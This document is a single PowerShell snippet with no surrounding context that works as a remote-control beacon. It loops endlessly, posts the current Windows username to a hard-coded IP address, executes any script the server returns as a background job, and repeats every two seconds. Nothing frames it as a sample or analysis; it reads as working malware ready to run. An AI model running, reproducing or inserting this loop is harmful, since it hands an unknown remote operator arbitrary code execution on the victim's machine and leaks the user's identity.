while ($true) { try { $r = Invoke-RestMethod -Uri 'http://185.237.100.158:80/20154/2dee147b-53ec-46b9-a748-44cfe3e04f83' -Method 'POST' -Body '' -Headers @{ "x-guid" = '' "x-name" = $env:USERNAME } if ($r -ne '') { Start-Job ([ScriptBlock]::Create($r)) } } catch { break; } Start-Sleep 2 }